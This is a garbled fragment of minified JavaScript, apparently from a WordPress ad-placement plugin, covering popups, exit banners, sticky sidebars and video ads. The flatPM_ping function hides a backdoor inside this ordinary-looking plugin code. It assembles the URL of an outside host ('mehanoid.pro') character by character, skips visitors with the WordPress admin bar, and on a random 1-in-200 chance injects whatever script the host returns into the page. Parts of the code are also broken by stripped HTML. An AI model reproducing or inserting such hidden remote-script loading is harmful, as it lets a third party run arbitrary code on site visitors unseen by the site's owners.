"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};
Яндекс.Метрика